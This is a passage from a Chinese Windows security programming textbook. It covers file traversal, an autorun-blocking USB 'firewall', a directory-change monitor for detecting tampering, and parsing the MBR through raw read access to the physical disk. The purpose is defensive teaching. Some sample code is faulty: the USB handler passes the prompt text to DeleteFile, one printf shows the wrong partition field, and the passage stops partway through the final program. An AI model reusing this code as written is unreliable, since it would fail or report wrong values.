整个代码的内容都是前面介绍过的知识，这里只是一个综合的应用。对于有些情况，需要对磁盘的文件进行遍历，那么可以使用FindFirstFile()和FindNextFile()这两个函数，或者是用 CFileFind 类对磁盘文件进行遍历。其具体使用方法请参考 MSDN，这里只给出一段简单的参考代码供大家学习使用。
 
DWORD WINAPI FindFiles(LPVOID lpszPath)
 
{
 
WIN32_FIND_DATA stFindFile;
 
HANDLE hFindFile;
 
char szPath[MAX_PATH];　　//扫描路径
 
char szFindFile[MAX_PATH];
 
char szSearch[MAX_PATH];
 
char *szFilter;
 
int len;
 
int ret=0;
 
szFilter="*.*";
 
lstrcpy(szPath,(char *)lpszPath);
 
len=lstrlen(szPath);
 
if(szPath[len-1]!='\\')
 
{
 
szPath[len]='\\';
 
szPath[len+1]='\0';
 
}
 
lstrcpy(szSearch,szPath);
 
lstrcat(szSearch,szFilter);
 
hFindFile=FindFirstFile(szSearch,&stFindFile);
 
if(hFindFile!=INVALID_HANDLE_VALUE)
 
{
 
do
 
{
 
lstrcpy(szFindFile,szPath);
 
lstrcat(szFindFile,stFindFile.cFileName);
 
if(stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
 
{
 
if(stFindFile.cFileName[0]!='.')
 
{
 
FindFiles(szFindFile);
 
}
 
}
 
else
 
{
 
//lstrcpy(PathName,szPath);
 
//lstrcat(PathName,stFindFile.cFileName);
 
printf("%s\n",szFindFile);
 
}
 
ret=FindNextFile(hFindFile,&stFindFile);
 
}while(ret!=0);
 
}
 
FindClose(hFindFile);
 
return 0;
 
}
 

 
6.4.3 U盘防御软件
 
在早期互联网还不发达的时候，病毒都是通过软盘、光盘等媒介进行传播的。到后来互联网被普及以后，通过互联网进行传播的病毒大面积地相继出现。虽然软盘已经被淘汰，但是并没有因为软盘的淘汰而使移动磁盘的病毒减少。相反，U盘的普及使得移动磁盘对病毒的传播更加得方便。U盘的数据传输速度和数据存储容量等多方面都比软盘要先进很多，因此，软盘可以传播病毒，U盘当然也可以传播病毒。
 
通过U盘来传播病毒通常是使用操作系统的自动运行功能，并配合U盘下的Autorun.inf文件来实现的。如果让操作系统不自动运行移动磁盘，或者保证移动磁盘下不存在Autorun.inf文件，那样通过U盘感染病毒的几率就小很多了。
 
一、通过系统配置禁止自动运行
 
先介绍一下关于如何通过系统配置来禁止U盘中Autorun.inf的自动运行。通常情况下需要进行两方面的设置，一方面是通过“管理工具”中的“服务”来进行设置，另一方面是通过“组策略”来进行设置。一般这两处都需要进行修改。下面分别介绍一下如何对这两处进行设置。
 
先来看一下如何在“服务”中进行设置。首先打开控制面板中的“管理工具”，然后找到“服务”将其双击打开。在服务列表中找到名称为“Shell Hardware Detection”的服务，双击该服务，打开“Shell Hardware Detection 的属性”对话框。单击“停止”按钮将该服务停止，再把“启动类型”修改为“已禁用”状态，如图6-31所示。
 
将服务中的“Shell Hardware Detection”禁用后，再来对“组策略”进行设置。首先在“运行”中输入“gpedit.msc”，然后依次单击左边的树形控件，“计算机配置”->“管理模板”->“系统”，然后在右边双击“关闭自动播放”选项，弹出“关闭自动播放 属性”对话框，在“设置”选项卡中选择“已启用”单选项，在“关闭自动播放”处选择“所有驱动器”选项，设置完成后单击“确定”按钮。再到左边的树形控件中选择“用户配置”->“管理模板”->“系统”，到右边找到“自动关闭播放”选项，设置方法同上，如图6-32所示。
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  图6-31 禁用“Shell Hardware Detection”服务 
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  图6-32 组策略中的“关闭自动播放” 

 
通过以上设置，的确是可以相对有效地保护计算机不中U盘相关的病毒。不过，我们不能因此而满足，因为我们的目的是打造一个U盘防御的软件。
 
二、打造一个简易的U盘防御软件
 
我们将打造一个 U 盘防火墙，当插入 U 盘时会有提示，并且自动检查 U 盘下是否有Autorun.inf文件，并解析Autorun.inf文件。除此而外，通过U盘防火墙可以打开U盘，从而可以安全地使用U盘。
 
如何才能知道有U盘被插入电脑呢？可以使用定时器不断地去检查，也可以开启一个线程不断地去检查，也可以通过Windows的消息得到通知。前两种方法笨了些，我们主动不断地去检查是否有U盘的插入，不如被动地等待Windows的消息来通知我们。
 
三、WM_DEVICECHANGE和OnDeviceChange()
 
在 Windows 下有一个消息可以通知应用程序计算机配置发生了变化，这个消息是WM_DEVICECHANGE。该消息的消息过程定义如下：
 
LRESULT CALLBACK WindowProc(
 
HWND hwnd,　　// handle to window
 
UINT uMsg,　　// WM_DEVICECHANGE
 
WPARAM wParam,　// device-change event
 
LPARAM lParam　// event-specific data
 
);
 
该消息通过两个附加参数来进行使用，其中wParam表示设备改变的事件，lParam表示事件对应的数据。我们要得到设备被插入的消息类型，因此 wParam 的取值为DBT_DEVICEARRIVAL，而该消息对应的数据的数据类型为DEV_BROADCAST_HDR，该结构体的定义如下：
 
typedef struct _DEV_BROADCAST_HDR {
 
DWORD dbch_size;
 
DWORD dbch_devicetype;
 
DWORD dbch_reserved;
 
} DEV_BROADCAST_HDR;
 
typedef DEV_BROADCAST_HDR *PDEV_BROADCAST_HDR;
 
在该结构体中，主要看的是 dbch_devicetype ，也就是设备的类型。如果设备类型为DBT_DEVTYP_VOLUME，则把当前结构体转换为DEV_BROADCAST_VOLUME结构体，该结构体定义如下：
 
typedef struct _DEV_BROADCAST_VOLUME {
 
DWORD dbcv_size;
 
DWORD dbcv_devicetype;
 
DWORD dbcv_reserved;
 
DWORD dbcv_unitmask;
 
WORD dbcv_flags;
 
} DEV_BROADCAST_VOLUME;
 
typedef DEV_BROADCAST_VOLUME *PDEV_BROADCAST_VOLUME;
 
在该结构体中主要是dbcv_unitmask 和dbcv_flags。dbcv_unitmask通过位来表示逻辑盘符，第0位表示A盘，第1位表示B盘。dbcv_flags表示受影响的盘符或媒介，该值为0时表示U盘或移动硬盘。
 
上面介绍了关于WM_DEVICECHANGE这个消息，由于是在MFC下进行开发的，因此可以使用 OnDeviceChange()这个消息响应函数来进行代替 WM_DEVICECHANGE 消息。虽然使用了OnDeviceChange()这个消息响应函数而没有使用WM_DEVICECHANGE，但是响应函数的附加参数与WM_DEVICECHANGE相同。OnDeviceChange()函数定义如下：
 
afx_msg BOOL OnDeviceChange( UINT nEventType, DWORD dwData );
 
四、通过OnDeviceChange()消息来获得被插入U盘的盘符
 
通过上面对WM_DEVICECHANGE消息的介绍，下面使用MFC下的OnDeviceChange()消息响应函数来编写一个获取被插入U盘的盘符的小程序，为编写U盘防火墙做一个简单的准备工作。首先来添加消息映射，添加代码如下：
 
BEGIN_MESSAGE_MAP(CUFirewallDlg, CDialog)
 
//{{AFX_MSG_MAP(CUFirewallDlg)
 
ON_MESSAGE(WM_DEVICECHANGE, OnDeviceChange)
 
ON_WM_SYSCOMMAND()
 
ON_WM_PAINT()
 
ON_WM_QUERYDRAGICON()
 
//}}AFX_MSG_MAP
 
END_MESSAGE_MAP()
 
在头文件中添加消息响应函数的定义，定义如下：
 
// Generated message map functions
 
//{{AFX_MSG(CUFirewallDlg)
 
afx_msg BOOL OnDeviceChange(UINT nEventType, DWORD dwData);　// 消息响应函数
 
virtual BOOL OnInitDialog();
 
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
 
afx_msg void OnPaint();
 
afx_msg HCURSOR OnQueryDragIcon();
 
//}}AFX_MSG
 
最后添加消息响应函数的实现，代码如下：
 
BOOL CUFirewallDlg::OnDeviceChange(UINT nEventType, DWORD dwData)
 
{
 
if ( nEventType == DBT_DEVICEARRIVAL )
 
{
 
PDEV_BROADCAST_HDR pDevHdr = (PDEV_BROADCAST_HDR)dwData;
 
if ( pDevHdr->dbch_devicetype == DBT_DEVTYP_VOLUME )
 
{
 
PDEV_BROADCAST_VOLUME pDevVolume = (PDEV_BROADCAST_VOLUME)pDevHdr;
 
// pDevVolume->dbcv_flags为0表示为U盘
 
if ( pDevVolume->dbcv_flags == 0 )
 
{
 
CString DriverName;
 
char i;
 
// 通过将pDevVolume->dbcv_unitmask移位来判断盘符
 
DWORD dwUnitmask = pDevVolume->dbcv_unitmask;
 
for (i = 0; i < 26; ++i)
 
{
 
if ( dwUnitmask & 0x1)
 
{
 
break;
 
}
 
dwUnitmask = dwUnitmask >> 1;
 
}
 
if ( i >= 26 )
 
{
 
return ;
 
}
 
DriverName.Format("检测到的U盘盘符为： %c \r\n", i + 'A');
 
// 显示盘符
 
MessageBox(DriverName);
 
}
 
}
 
}
 
}
 
我们将其编译连接并运行，插入一个U盘，得到如图6-33所示的提示。
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  图6-33 检测到的U盘盘符 

 
上面的这段代码可以将其封装为一个函数，封装后的函数定义如下：
 
VOID GetDriverName(DWORD dwData);
 
在使用类似DBT_DEVICEARRIVAL这样以DBT_开头的宏时应包含头文件“dbt.h”文件。
 
五、U盘防火墙的完善
 
前面已经获得了被插入U盘的盘符，接下来就可以对U盘上的Autorun.inf文件进行分析，并删除要运行的程序，还可以安全地打开U盘。改写一下OnDeviceChange()函数，以实现要完成的功能，代码如下：
 
BOOL CUFirewallDlg::OnDeviceChange(UINT nEventType, DWORD dwData)
 
{
 
if ( nEventType==DBT_DEVICEARRIVAL )
 
{
 
GetDriverName(dwData);
 
MessageBox(DriverName);
 
if ( DriverName != "" )
 
{
 
m_SafeOpen.EnableWindow(TRUE);
 
CString File = DriverName;
 
File += "\\autorun.inf";
 
char szBuff[MAX_PATH] = { 0 };
 
if ( GetFileAttributes(File.GetBuffer(0)) == -1 )
 
{
 
m_SafeOpen.EnableWindow(FALSE);
 
return FALSE;
 
}
 
// 获取open后面的内容
 
GetPrivateProfileString(
 
"AutoRun",　　// section name
 
"open",　　// key name
 
NULL,　　// default string
 
szBuff,　// destination buffer
 
MAX_PATH,　　　// size of destination buffer
 
File.GetBuffer(0)　　// initialization file name
 
);
 
CString str;
 
str = "是否删除：";
 
str += szBuff;
 
if ( MessageBox(str, NULL, MB_YESNO) == IDYES )
 
{
 
// 删除要执行的文件
 
DeleteFile(str.GetBuffer(0));
 
}
 
}
 
}
 
else if ( nEventType == DBT_DEVICEREMOVECOMPLETE )
 
{
 
m_SafeOpen.EnableWindow(FALSE);
 
}
 
return TRUE;
 
}
 
安全打开U盘的实现代码如下：
 
void CUFirewallDlg::OnBtnSafeopen()
 
{
 
// TODO: Add your control notification handler code here
 
ShellExecute(NULL, "open", DriverName.GetBuffer(0), NULL, NULL, SW_SHOW);
 
}
 
用DeleteFile()函数删除U盘中要运行的程序可能会失败，因为有时U盘并没有完全准备好。可以通过判断来完成，但这里就不给出代码了，大家可自行修改完成。在代码中，涉及到两个新的API函数，分别是GetPrivateProfileString()和ShellExecute()函数。这两个函数的功能分别是获取配置文件中指定键的键值，和运行指定的文件或文件夹，大家可以通过查询MSDN进行详细地了解。
 
在上面的程序中，通过提示让用户选择是否要删除掉U盘中要被执行的文件，如果用户对此并没有太多的了解和认识的话很有可能不删除。如果删了本不该删的文件，那么用户对该软件的友好感便会降低，那应该如何做呢？应该建立一个白名单和黑名单，无论是通过散列进行比较，还是通过文件名进行比较，都可以。当然，越精确的匹配方法越好。这样，就可以提早一步为用户进行判断了，然后给出一个安全建议，不但提高了软件的友好感，而且会显得相对较为专业了。
 

 
6.4.4 目录监控工具
 
我们介绍了通过HOOK技术对进程创建的监控，然后介绍了通过CRC32对病毒进行查杀，还介绍了通过使用WM_DEVICECHANGE消息对U盘的防护。接下来，简单讨论一下如何通过ReadDirectoryChangesW()来编写一个监视目录变化的程序。
 
对目录及目录中的文件实时监控，可以有效地发现文件被改动的情况。就好像，我们在本地安装了 IIS 服务器，并搭建了一个网站平台，有时候会遭到黑客的篡改，而我们无法及时地恢复被篡改的页面，导致出现了非常不好的影响。如果能及时地发现网页被篡改，并及时地恢复本来的页面就好了，那么该如何做呢？
 
下面通过一个简单的例子来介绍如何监控某目录及目录下文件的变动情况。首先需要了解的函数为ReadDirectoryChangesW()，该函数的定义如下：
 
BOOL ReadDirectoryChangesW(
 
HANDLE hDirectory,
 
LPVOID lpBuffer,
 
DWORD nBufferLength,
 
BOOL bWatchSubtree,
 
DWORD dwNotifyFilter,
 
LPDWORD lpBytesReturned,
 
LPOVERLAPPED lpOverlapped,
 
LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
 
);
 
参数说明如下。
 
（1） hDirectory：该参数指向一个要监视目录的句柄。该目录需要用FILE_LIST_DIRECTORY的访问权限打开。
 
（2）lpBuffer：该参数指向一个内存的缓冲区，它用来存放返回的结果。结果为一个FILE_NOTIFY_INFORMATION的数据结构。
 
（3）nBufferLength：表示缓冲区的大小。
 
（4）bWatchSubtree：该参数为TRUE时，表示监视指定目录下的文件及子目录下的文件操作。如果该参数为FALSE，则只监视指定目录下的文件，不包含子目录下的文件。
 
（5）dwNotifyfilter：该参数指定要返回何种文件变更后的类型，该参数的常量值参见MSDN。
 
（6）lpBytesReturned：该参数返回传给lpBuffer结果的字节数。
 
（7）lpOverlapped：该参数执行一个OVERLAPPED结构体，该结构体用于异步操作，否则该数据为NULL。
 
目录监控完整源代码
 
该函数的使用非常简单，下面通过一个例子来学习该函数的使用。该例子是对E盘目录进行监控，我们将程序编写完成后对E盘进行简单的文件操作，以观察程序的输出结构。完整的代码如下：
 
#include <windows.h>
 
#include <stdio.h>
 
extern "C"
 
BOOL
 
WINAPI
 
ReadDirectoryChangesW(
 
__in　HANDLE hDirectory,
 
__out_bcount_part(nBufferLength, *lpBytesReturned) LPVOID lpBuffer,
 
__in　DWORD nBufferLength,
 
__in　BOOL bWatchSubtree,
 
__in　DWORD dwNotifyFilter,
 
__out　LPDWORD lpBytesReturned,
 
__inout　LPOVERLAPPED lpOverlapped,
 
__in_opt LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
 
);
 
DWORD WINAPI ThreadProc(LPVOID lpParam)
 
{
 
BOOL bRet = FALSE;
 
BYTE Buffer[1024] = { 0 };
 
FILE_NOTIFY_INFORMATION *pBuffer = (FILE_NOTIFY_INFORMATION *)Buffer;
 
DWORD BytesReturned = 0;
 
HANDLE hFile = CreateFile("e:\\",
 
FILE_LIST_DIRECTORY,
 
FILE_SHARE_READ|FILE_SHARE_DELETE|FILE_SHARE_WRITE,
 
NULL,
 
OPEN_EXISTING,
 
FILE_FLAG_BACKUP_SEMANTICS,
 
NULL);
 
if ( INVALID_HANDLE_VALUE == hFile )
 
{
 
return 1;
 
}
 
printf("monitor... \r\n");
 
while ( TRUE )
 
{
 
ZeroMemory(Buffer, 1024);
 
bRet = ReadDirectoryChangesW(hFile,
 
&Buffer,
 
sizeof(Buffer),
 
TRUE,
 
FILE_NOTIFY_CHANGE_FILE_NAME |　// 修改文件名
 
FILE_NOTIFY_CHANGE_ATTRIBUTES | // 修改文件属性
 
FILE_NOTIFY_CHANGE_LAST_WRITE , // 最后一次写入
 
&BytesReturned,
 
NULL, NULL);
 
if ( bRet == TRUE )
 
{
 
char szFileName[MAX_PATH] = { 0 };
 
// 宽字符转换多字节
 
WideCharToMultiByte(CP_ACP,
 
0,
 
pBuffer->FileName,
 
pBuffer->FileNameLength / 2,
 
szFileName,
 
MAX_PATH,
 
NULL,
 
NULL);
 
switch(pBuffer->Action)
 
{
 
// 添加
 
case FILE_ACTION_ADDED:
 
{
 
printf("添加 : %s\r\n", szFileName);
 
break;
 
}
 
// 删除
 
case FILE_ACTION_REMOVED:
 
{
 
printf("删除 : %s\r\n", szFileName);
 
break;
 
}
 
// 修改
 
case FILE_ACTION_MODIFIED:
 
{
 
printf("修改 : %s\r\n", szFileName);
 
break;
 
}
 
// 重命名
 
case FILE_ACTION_RENAMED_OLD_NAME:
 
{
 
printf("重命名 : %s", szFileName);
 
if ( pBuffer->NextEntryOffset != 0 )
 
{
 
FILE_NOTIFY_INFORMATION *tmpBuffer = (FILE_NOTIFY_INFORMATION *)
 
((DWORD)pBuffer + pBuffer->NextEntryOffset);
 
switch ( tmpBuffer->Action )
 
{
 
case FILE_ACTION_RENAMED_NEW_NAME:
 
{
 
ZeroMemory(szFileName, MAX_PATH);
 
WideCharToMultiByte(CP_ACP,
 
0,
 
tmpBuffer->FileName,
 
tmpBuffer->FileNameLength / 2,
 
szFileName,
 
MAX_PATH,
 
NULL,
 
NULL);
 
printf(" ->　: %s \r\n", szFileName);
 
break;
 
}
 
}
 
}
 
break;
 
}
 
case FILE_ACTION_RENAMED_NEW_NAME:
 
{
 
printf("重命名(new) : %s\r\n", szFileName);
 
}
 
}
 
}
 
}
 
CloseHandle(hFile);
 
return 0;
 
}
 
int main(int argc, char* argv[])
 
{
 
HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
 
if ( hThread == NULL )
 
{
 
return -1;
 
}
 
WaitForSingleObject(hThread, INFINITE);
 
CloseHandle(hThread);
 
return 0;
 
}
 
将程序编译连接并运行，在E盘下进行简单的操作，查看程序对E盘的监视输出记录，如图6-34所示。
 

 [image: figure_0225_0199]

 

  图6-34 目录监控输出记录 

 
对于目录监视的这个例子，可以将其改为一个简单的文件防篡改程序。首先将要监视的文件目录进行一次备份，然后对文件目录进行监视，如果有文件发生了修改，那么就使用备份目录下的指定文件恢复被修改的文件。
 

 
6.5 引导区解析
 
很多病毒会感染磁盘的引导区，这导致了病毒在系统启动前就会执行病毒。关于引导型的病毒这里不多作介绍，只简单介绍一下引导区的知识，并写一个程序来简单地解析一下引导区。在整个过程中，编写程序不是难点，难点在于引导区的各个数据结构和各结构之间的数据关系。
 
为了能写出程序，先进行一次对引导区的手动分析，使用的工具是WinHex。
 

 
6.5.1 通过WinHex来手动解析引导区
 
WinHex是一个强大的十六进制编辑工具，也是一个强大的磁盘编辑工具。打开WinHex，并打开磁盘，如图6-35、图6-36和图6-37所示。
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  图6-35 WinHex工具栏 
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  图6-36 选择物理磁盘 
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  图6-37 打开后的位置 

 
当打开磁盘后，会看到很多密密麻麻的十六进制数据，这些数据很像学习 PE 文件结构时的情况。一眼看上去不能理解，当根据其各种不同的结构进行解析后就一目了然了。因此，重要的是学习其各种结构。这里不对硬盘中涉及的全部各个结构都进行介绍（指的是文件格式），主要介绍一下组成引导区的各个结构体。
 
引导区，也叫主引导记录（Master Boot Record，简称 MBR）。MBR 位于整个硬盘的 0柱面0磁头1扇区的位置处。MBR在计算机引导过程中起着重要的作用。MBR可以分为五部分，分别是引导程序、Windows磁盘签名、保留位、分区表和结束标志。这五部分构成了一个完整的引导区，引导区的大小为512个字节。我们通过WinHex来具体查看一下每一部分的内容，来了解一下这512个字节的作用。
 
首先来看一下引导记录，如图6-38所示。
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  图6-38 MBR的引导程序 

 
在图6-38中被选中的地方就是MBR的引导程序。引导程序会判断MBR的有效性，判断磁盘分区的合法性，及把控制权交给操作系统。引导程序占用了MBR的前440字节。
 
再来看一下Windows的磁盘签名，如图6-39所示。
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  图6-39 MBR中的Windows磁盘签名 

 
在图 6-39 中被选中的位置就是 Windows 的磁盘签名，它的位置在紧接引导程序的第 4个字节。Windows磁盘签名对于MBR来说不是必须的，但是对于Windows系统来说是必须的，它是Windows系统在初始化时写入的，Windows依靠磁盘签名来识别硬盘，如果该签名丢失则 Windows 认为该磁盘没有被初始化。在图 6-39 中， Windows 的磁盘签名为“0xBF5FBF5F”。
 
紧接在磁盘签名后的两个字节是保留字节，也就是暂时没有被MBR使用的位置。
 
在保留的两个字节后的64个字节，则保存了分区表，如图6-40所示。
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  图6-40 MBR中的分区表 

 
分区表在MBR 中占用了64 个字节的位置，分区表被称为DPT（Disk Partition Table），它在 MBR 中是一个非常关键的数据结构。分区表是用来管理硬盘分区的，如果丢失或者破坏的话，硬盘的分区就会丢失。分区表占用了64个字节，用每16个字节来描述一个分区项的数据结构。由于其字节数的限制，一个硬盘最多可以有4个主硬盘分区（注意，是主硬盘分区）。图6-40中框住的部分就是一个分区表项，可以看出，MBR中只有两个分区表项。硬盘中的磁盘可以分为主磁盘分区和扩展分区，使用过DOS 命令中的FDISDK的话应该很清楚。通常情况下，主分区是C盘。在系统中除了C盘以外，还可能存在D盘、E盘、F盘等分区，这3个分区都是从扩展分区中分配出来的，而这些分区并不在MBR中保存。右键单击“我的电脑”，在菜单中选择“管理”命令将出现“计算机管理”这个程序，选择“磁盘管理”，显示如图6-41所示的窗口。
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  图6-41 磁盘管理 

 
从图6-41中可以看出，在磁盘上，D盘、E盘、F盘、G盘的周围有一个绿色的框，这个框就表示为扩展分区。
 
下面具体地介绍一下。单击 WinHex 的菜单项“视图”->“模板管理”命令，出现如图6-42所示的对话框。
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  图6-42 模板管理器 

 
在“模板管理器”对话框中双击“Master Boot Record”，也就是主引导记录，出现如图6-43所示的MBR的偏移解析器。
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  图6-43 MBR偏移解析器 

 
在图 6-43 中可以清晰地看到两个分区表项的内容，分别是 Partition Table Entry #1 和Partition Table Entry #2。对我们有用的字段已经用框选中。下面介绍Partition Table Entry #1中对于我们有用的几个字段。第一个是在 MBR 中偏移为 0x1BE 的位置，这个位置的值为0x80。该值是一个引导标志，表示该分区是一个活动分区。在MBR中偏移0x1C2的位置处保存的值为0x07，这个值表示的是分区的类型，0x07表示该值为NTFS的系统文件格式。在偏移0x1C6的位置处保存的值为63，该值表示在本分区前使用了多少个扇区，这里表示当前分区前使用了63个扇区。最后一个0x1CA处保存的值为16386237，该位置表示本分区的总扇区数。一个扇区有512个字节数，那个16386237个扇区是多大呢？我们计算一下，首先用16386237 × 512 求出本扇区占多少字节。通过计算获得本分区所占字节数为8389753344 字节，那么字节如何转换成GB呢？这是一个简单的公式，1024字节等于1KB，1024KB等于1MB，1024MB等于1GB，那么做一个简单的除法就可以了。用8389753344/1024/ 1024/1024就得出了当前分区是多少个GB了，得出的结果如图6-44所示。
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  图6-44 第一个分区的大小 

 
从图6-44可以看出，当前的分区占用了7.81个GB的大小（C盘大小为7.81GB）。关于Partition Table Entry#2 大家可以自己进行分析，这里就不介绍了。
 
在MBR中还有最后一个内容，如图6-40所示。在图6-40中紧接着DPT后面的两个字节就是MBR中最后的两个字节。这两个字节是MBR 的结束标志，用“55AA”表示。引导程序会判断MBR 扇区的最后两个字节是否为“55AA”，如果不是则报错。
 
到此，关于MBR的部分就介绍完了，相信大家已对MBR有了比较全面的了解。下面来写一个简单的程序将上面的通过WinHex分析的内容解析出来。
 

 
6.5.2 通过程序解析MBR
 
对于我们来说，解析MBR可能不会有太大的问题，因为前面解析过PE文件结构。虽然解析过PE文件，但是还是有一些微小的几点差别，首先造成解析困难的一点是MBR没有给出具体的结构体。当初分析PE文件结构时，各个结构体在WinNt.h头文件中都有给出定义，而 MBR 的定义是没有给出的。因此上面也没有对照着结构体给大家介绍。再一个问题是，解析PE文件结构时，我们会打开具体的可执行文件去按照PE文件结构的定义进行解析，而硬盘的引导区属于哪个文件？用WinHex打开的是物理硬盘，那么我们如何来打开物理硬盘。这可能是两个比较困惑的地方。不过，这些都不是太大的问题。只要我们解决了这两个问题，我们的解析其实就容易多了。
 

 
6.5.3 自定义MBR的各种结构体
 
下面介绍如何将MBR的信息定义成一个个的结构体。通过前面用WinHex对MBR的手动分析，我们了解到MBR分为五部分，并且知道每部分占用的字节数。因此，可以将MBR定义为如下：
 
typedef struct _MBR
 
{
 
unsigned char BootRecord[440];　　　　// 引导程序
 
unsigned char ulSigned[4];　　　　　// Windows磁盘签名
 
unsigned char sReserve[2];　　　　　// 保留位
 
unsigned char Dpt[64];　　　　　　// 分区表
 
unsigned char EndSign[2];　　　　　// 结束标志
 
}MBR, *PMBR;
 
这就是定义的MBR了，引导程序共440个字节，Windows签名共4个字节，保留字节共2个字节，分区表共64个字节，再加上2个结束标志，一共512个字节。不过这样的定义并不好，因为里面的常量比较多，下面修改一下，定义如下：
 
#define BOOTRECORDSIZE 440
 
#define DPTSIZE 64
 
typedef struct _MBR
 
{
 
unsigned char BootRecord[BOOTRECORDSIZE];　// 引导程序
 
unsigned char ulSigned[4];　　　　　// Windows磁盘签名
 
unsigned char sReserve[2];　　　　　// 保留位
 
unsigned char Dpt[DPTSIZE];　　　　　// 分区表
 
unsigned char EndSign[2];　　　　　// 结束标志
 
}MBR, *PMBR;
 
这样定义后，可以很方便地获得引导程序的大小和分区表的大小。虽然这样定义直观一些，但是还不能算太直观，因为定义的都是unsignedchar 类型，无法真正反映出每个成员变量的具体含义。下面再次进行修改，定义如下：
 
#define BOOTRECORDSIZE 440
 
typedef struct _BOOTRECORD
 
{
 
unsigned char BootRecord[BOOTRECORDSIZE];
 
}BOOTRECORD, *PBOOTRECORD;
 
#define DPTSIZE 64
 
typedef struct _DPT
 
{
 
unsigned char Dpt[DPTSIZE];
 
}DPT, *PDPT;
 
typedef struct _MBR
 
{
 
BOOTRECORD BootRecord;　　　　　　// 引导程序
 
unsigned char ulSigned[4];　　　　　// Windows磁盘签名
 
unsigned char sReserve[2];　　　　　// 保留位
 
DPT　　Dpt;　　　　　　　　// 分区表
 
unsigned char EndSign[2];　　　　　// 结束标志
 
}MBR, *PMBR;
 
这次修改后，可以很容易地从 MBR 这个结构体中看出主要两个成员变量的含义了。虽然直观了，但还是有问题。Dpt其实是一个有4条记录的表，也就是说它其实是一个数组，这样的定义当解析它的时候并不方便。这样的定义方便我们一次性将DPT读出，只要再定义一个DP的结构体来对DPT进行转换，就可以方便地对DPT进行解析了。下面再次定义一个结构体，定义如下：
 
#define DPTNUMBER 4
 
typedef struct _DP
 
{
 
unsigned char BootSign;　　　// 引导标志
 
unsigned char StartHsc[3];
 
unsigned char PartitionType;　　// 分区类型
 
unsigned char EndHsc[3];
 
ULONG　　SectorsPreceding;　　// 本分区之前使用的扇区数
 
ULONG　　SectorsInPartition;　// 分区的总扇区数
 
}DP, *PDP;
 
有了这个结构体，就可以方便地对DPT进行解析了。最后两个定义就是对MBR各结构体的完整定义（这几个结构体是笔者自己定义的，可以会有很多考虑不周的地方，网上有公开的结构体的定义，大家可以自行参考。之所以如此反复介绍如何进行MBR结构体的定义，是想告诉大家一个在没有相关数据结构定义的情况下如何通过自己的分析来定义数据结构的思路和方法）。
 
大家思考一下，如果不定义这些结构体是不是就无法对 MBR 进行解析，定义了这些结构体后对于解析MBR有哪些影响。对于MBR的解析，可以完全不定义这些结构体，定义这些结构体的目的是方便对程序的后期维护，并使程序在整体上有一个良好的格式。定义数据结构可以清晰地表达各个数据结构之间的关系，让我们在写程序的过程中有一个清晰的思路，让看程序的人也可以一目了然。
 
硬盘设备的符号链接
 
有了上面的结构体，解析 MBR 已经不是太大的问题了。不过还有一个问题，那就是如何打开硬盘读取MBR。其实很简单，只要打开硬盘设备提供的设备符号链接就可以了。如何找到硬盘的设备符号链接呢？有一款工具WinObj可以帮助查找到。打开WinObj，再依次打开左边的树形控件，如图6-45所示。
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  图6-45 WinObj找到的硬盘设备 

 
通过图6-45可以找到硬盘设备的设备名，例如可以通过\Device\Harddisk0\DR0这个设备名再去查找相应的设备符号链接。我们再依次打开WinObj左边的树形控件，如图6-46所示。
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  图6-46 WinObj找到的硬盘设备符号链接 

 
从图 6-46 中可以看到硬盘的设备符号链接为 PhysicalDrive0 ，在使用时应该书写为\\.\PhysicalDrive0。
 
下面简单地介绍一下设备名和设备符号链接。每个设备在Windows的内核中都有对应的驱动模块，在驱动模块中会为设备提供一个名字来对设备进行操作，驱动模块中提供的名字即为“设备名”。设备名只能在内核模块中使用。如果想要在应用程序下对设备进行操作，不能直接使用设备名，应该使用设备符号链接。设备符号链接就是驱动模块为应用程序提供的操作设备的一个符号，通过这个符号可与设备进行对应。
 

 
6.5.4 解析MBR的程序实现
 
到了这里大家可能会觉得通过程序解析 MBR 已经不是问题了，下面直接提供程序的代码吧。如果代码中有不理解的地方，可以参考一下我们是如何通过 WinHex 对 MBR 的解析了。代码如下：
 
// 显示MBR数据
 
VOID ShowMbr(HANDLE hDevice, PMBR pMbr)
 
{
 
DWORD dwRead = 0;
 
ReadFile(hDevice, (LPVOID)pMbr, sizeof(MBR), &dwRead, NULL);
 
for ( int i = 0; i < 512; i ++ )
 
{
 
printf("%02X ", ((BYTE *)pMbr)[i]);
 
if ( ( i + 1 ) % 16 == 0 )
 
{
 
printf("\r\n");
 
}
 
}
 
}
 
// 解析MBR
 
VOID ParseMbr(MBR Mbr)
 
{
 
printf("引导记录: \r\n");
 
for ( int i = 0; i < BOOTRECORDSIZE; i ++ )
 
{
 
printf("%02X ", Mbr.BootRecord.BootRecord[i]);
 
if ( ( i + 1 ) % 16 == 0 )
 
{
 
printf("\r\n");
 
}
 
}
 
printf("\r\n");
 
printf("磁盘签名: \r\n");
 
for ( i = 0; i < 4; i ++ )
 
{
 
printf("%02X ", Mbr.ulSigned[i]);
 
}
 
printf("\r\n");
 
printf("解析分区表: \r\n");
 
for ( i = 0; i < DPTSIZE; i ++ )
 
{
 
printf("%02X ", Mbr.Dpt.Dpt[i]);
 
if ( ( i + 1 ) % 16 == 0 )
 
{
 
printf("\r\n");
 
}
 
}
 
printf("\r\n");
 
PDP pDp = (PDP)&(Mbr.Dpt.Dpt);
 
for ( i = 0; i < DPTNUMBER; i ++ )
 
{
 
printf("引导标志: %02X ", pDp[i].BootSign);
 
printf("分区类型: %02X", pDp[i].PartitionType);
 
printf("\r\n");
 
printf("本分区之前扇区数: %d ", pDp[i].SectorsInPartition);
 
printf("本分区的总扇区数: %d", pDp[i].SectorsInPartition);
 
printf("\r\n");
 
printf("该分区的大小: %f \r\n", (double)pDp[i].SectorsInPartition / 1024 * 512 /
 
1024 / 1024 );
 
printf("\r\n \r\n");
 
}
 
printf("结束标志: \r\n");
 
for ( i = 0; i < 2; i ++ )
 
{
 
printf("%02X ", Mbr.EndSign[i]);
 
}
 
printf("\r\n");
 
}
 
int main(int argc, char* argv[])
 
{
 
// 打开物理硬盘设备
 
HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0",
 
GENERIC_READ,
 
FILE_SHARE_READ | FILE_SHARE_WRITE,
 
NULL,
 
OPEN_EXISTING,
 
0,
 
NULL);
 
